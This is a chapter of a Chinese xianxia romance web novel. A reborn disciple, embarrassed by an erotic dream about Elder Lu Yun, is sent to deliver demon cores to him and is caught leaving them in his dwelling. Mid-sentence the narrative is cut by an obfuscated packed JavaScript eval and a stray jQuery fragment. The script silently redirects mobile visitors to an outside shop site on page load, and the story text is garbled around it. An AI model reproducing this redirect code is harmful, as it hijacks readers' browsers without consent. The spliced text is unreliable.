“师尊……”芙蓉帐暖,裴易安的手轻轻抚上面前男人的脸颊。
眼前的男人轮廓有些模糊,可他却忍不住想要狠狠索取。
“我想要你。”裴易安向来不是隐忍的主儿,他不等人应允,便将人轻轻放倒在榻上,唇覆上了面前之人的唇。
裴易安嗅见了淡淡的兰草香气。
“易安,别走。”榻上的男人轻轻呢喃着他的名字。“易安……”
男人将他搂得更紧,二人肌肤相亲,裴易安只觉一股气血上涌,骨头酥了半边。
情欲迷蒙之间,他抬起头,想去吻男人的额头。
只一眼,却让他起了一身冷汗,骤然惊醒。
他猛然从床上坐起,心跳声擂鼓一般,仿佛整个房间内都听得一清二楚。
裴易安扶着胸口重重喘息,察觉到什么,他机械地掀开被子,低头看了一眼——
然后立刻将被子狠狠地按了回去。
他绝望地闭上眼,脸烫得能煎蛋。
那画面让他实在想找个地缝钻进去。
操!
他怎么会做这样的梦!
重生的第一晚,他想过他会梦到尸山血海、想到会梦到他剑下的亡魂向他索命。
唯独没想到他会梦到这种东西。
裴易安赶紧翻身下了榻,打了一盆水,双手盛着冷水往脸上扑,脑子才清醒了些。
他抿了抿唇,却无论如何都想不起梦中那个吻的触觉……
“啪——”裴易安狠狠扇了自己一巴掌。
“裴易安啊裴易安,你他妈到底在想什么!”
他不敢再去回忆梦中的画面,只觉得周身生起一阵恶寒。
他并非断袖。
就算是,也不可能觊觎陆允那厮!
昨日分别之后,他只盼着能和陆允死生不复相见。
他实在不愿回忆自己昨日做过的蠢事。
因为前一个晚上,裴易安睡得并不踏实。理论课时,他昏昏欲睡。
这些基础知识他倒背如流,再听老周头墨迹一遍也没什么意义。
“裴易安。”周向明的声音吓了裴易安一个激灵,“下课之后留下。”
裴易安:“……是。”
以他对周向明的了解,准没什么好事。
果然,等裴易安的同门们离开,周向明就把那两枚妖丹装好,又添几根不知道哪来的破烂灵草,通通交给了他。
虽然裴易安对这些天材地宝知之甚少,但他了解周向明。
这些个灵草肯定也不是什么值钱的东西。
“哎呦,你说这是做什么~”裴易安装傻充愣:“赏我啦?”
周向明瞥了他一眼:“你少和外面那些不三不四的修士混,这才几日,连和师长说话要用敬语都忘了么?”
裴易安赶紧将妖丹灵草尽数揣进袖子里,“好嘞,谢谢……”
师尊二字卡在他喉咙里,无论如何都说不出口。
原本他也不觉得这个称呼有什么。
但今晨做了那样的梦之后,让他难免觉得这个称呼都暧昧了起来。
“谢谢您!”
他从嘴里吐出这句话,话音落下拔腿就要走。
“滚回来!”腿还没迈出一步,便被周向明喝住,“你去把这些给陆长老送去。”
“……”裴易安就知道,周向明喊他留堂准没好事。“要不,让齐师兄去吧。”
周向明却不耐烦地挥了挥手:“你齐师兄还要去练剑呢,为师门下只有你一个闲人,你不去谁去?”
裴易安当然不想去。
前一日追缉邪修,他与齐肆二人出力并不多,几乎都是陆允一个人的功劳。
这妖丹本就是人家应得的,人家压根看不上,才让给他二人,现今,他又将这两枚妖丹当礼物给陆允送回去,算几个意思?
最最重要的是,经历了昨晚的春梦之后,他实在不想面对春梦的另一个主角。
“我也要上课啊……”裴易安龇牙咧嘴地从嗓子里挤出那个称呼,“师、师尊。”
“一会儿剑法课,你又没有本命剑,上什么课?”周向明狠狠剜了一眼裴易安,嘴唇边的那两簇胡子气得仿佛要竖起来,“少废话!”
裴易安眼见着周向明这边说不通,只能灰溜溜地离开了讲经堂,直到走远了,才对着讲经堂的方向狠狠呸了一口,“呸,死周扒皮!”
他是绝对不想和陆允那厮打照面的。
陆允住在后山灵田附近。
揽月剑宗向来不看重丹道,据说前任丹修长老也是个混日子的,修为不高,只靠着寿元丹吊着寿命。
但且不说好的寿元丹价值不菲,这种丹药吃多了,身体便会产生耐药性,作用会越来越少。
在前任丹修长老死后,揽月剑宗便始终没有再聘一个丹修来。
因此在裴易安记忆里,那片灵田就是荒芜的。
至于荒芜了多久,裴易安也不知道。
从讲经堂到后山的路程算不上远,但他磨磨蹭蹭走了许久。
他心中自然有自己的思量。
若想躲开陆允,无非就两种方式。
一个是自己出去溜达一圈,回头骗周向明这礼品已经送了出去。
不过,这个方式也太危险。
毕竟一个宗门之内,抬头不见低头见,若是这两人哪日对了证,绝对没他好果子吃。
另一个,便是趁着陆允不在,偷偷把礼品丢到他住所去。
反正东西送到了,到时候和周向明扯个谎,周向明也拿他没办法。
他仔细思索一番,觉得还是这个方式稳妥。
再说……万一他刚好不在呢?
裴易安下定决心之时,人已经到了后山。
说干就干,他鬼鬼祟祟地溜到陆允的住所附近。
陆允的住所毕竟是在灵田附近。
按理来说,灵田附近的灵气该比其他的地方充沛。
实际上,由于灵田需要聚灵,反倒导致了洞府的位置灵气稀薄,不宜修炼。
因此这洞府虽然五脏俱全,却也弃置许久了。
裴易安这次留了个心眼,他先溜到正堂外瞄了一眼。
没人。
但他也不敢懈怠,万一这人正在内室修炼怎么办?
还是小心为上。
于是,他先去灵田看了一眼。
那灵田上只有一人高的蒿草。
看来没在这。
他又去盛草药的仓库瞄了一眼。
也没有。
最后他溜到丹房外,扒着门缝瞄了一眼,只见炼丹炉的火光将整个炼丹房照得通明。
裴易安总算松了口气,看来人在炼丹房,不在正堂。
他这才重新溜回正堂。
屋内的桌子上零零散散已经摆了许多见面礼,有防身的法宝,也有一些天材地宝。
裴易安放眼望去,只有周向明的礼物最寒碜。
这死老头子,这种丢脸的事也不知道自己来。
此地不宜久留,他在一堆礼品之中,挑了个最不显眼的位置,便要把礼物放过去。
“裴小友。”
“啪——”
身后传来的声音吓得裴易安手抖了一下,木盒重重地摔在桌
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17715687|208516||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
上。
“哈哈哈哈哈……”裴易安尴尬地笑了几声:“真是巧啊,陆长老。”
“巧么?”陆允的目光扫过裴易安红了之后又发白的脸,又扫过裴易安拽着衣角的局促的指尖,“我怎么记得,这里是我的洞府。”
片刻后,陆允将裴易安从椅子旁拽开,抖了抖袍子,坐到椅子上,伸手将那个被摔在桌上的木盒子拿过。
盒子本就不算结实,被摔了一下之后,里面的东西便全散了出来。
陆允两根手指拈起那两枚妖丹放在掌心:“裴小友有没有觉得这个有些眼熟?”
裴易安正想着用什么理由搪塞,视线落在陆允脸上,一时难免又出了神。
修真界确实不乏美人,比如萧潇便生了一张倾城的容颜,陆允相貌虽说出众,理论上也不会让见惯了大风大浪的裴易安失魂落魄。
裴易安见过相貌最出众的男子并非是陆允,而是亲手杀了他的云扶风。
但他却未曾对云扶风生出半点旁的念想来。
可他现在看见陆允这张清冷疏离的脸,想的却是梦中陆允那张泛着情潮的面容。
“裴小友?”陆允一声不耐烦轻唤将他的思绪拽回现实之中。
裴易安嘴比脑子快了一些。
“啊,师尊——”他抬手给了自己一巴掌,紧急改口:“陆长老,怎么了?”
听见裴易安的话,陆允的眸光暗了暗,他低下头,将妖丹放回盒子中:“替我谢过周长老。”
裴易安不禁有些讶异,这睚眦必报的狗东西这次竟然没为难他。
“没什么事的话,我就先回去了。”裴易安说完,才一转身,陆允却忽然起身,拉住了他。
“别走。”陆允轻声道,他的指尖紧紧扣住裴易安的腕子,攥得裴易安有些发痛。
裴易安一怔:“陆长老还有什么事?”
“……”陆允沉默了半晌,才缓缓道:“也不是什么大事,只是昨日见你尚且没有本命剑。”
他放开了裴易安的腕子,视线落到窗外。
“明日,你便要同这一届内门弟子一同去灵剑池择剑了吧?”
“是。”裴易安没好气地答复:“陆长老堂堂元婴大能,倒是很关心我这个刚入内门的筑基弟子。”
他不愿想陆允关注他的理由是什么。
或许是想通过他追求萧潇;亦或许只是高阶修士无聊时打发时间的消遣。
他不在意答案,他只是讨厌这种被关注的感觉,这种感觉让他恐惧。
他向来是喜怒形于色的人。
更何况,裴易安实在不愿意去回忆前世灵剑池的事,因此,他便更不会给陆允好脸色。
灵剑池择剑,是揽月剑宗新弟子都要经历一次的仪式。
说是择剑,其实是剑择人,弟子们只能在愿意回应他们的灵剑中挑一柄带出去。
而他身怀魔族血脉,灵剑池的灵剑皆是人族所铸,剑灵又怎会认他一个半人半魔的异类为主。
前世,连一把下品灵剑都没能从灵剑池中带出来,也因此成了整个揽月剑宗的笑柄。
毕竟资质再差的剑修弟子,也不至于连一把本命剑都没有。
想到此事,裴易安彻底失去了应付陆允的心思。
真惹怒了陆允又能如何?大不了一死而已。
即便重来一世,他也仍旧是那个低劣的魔族,不会随着他的重生而改变。
他的命,太廉价了。
陆允张了张嘴,似乎打算解释些什么,但裴易安却没有听的耐心,开口又重复了一遍,一字一顿:“陆长老,没什么事的话,我便先离开了。”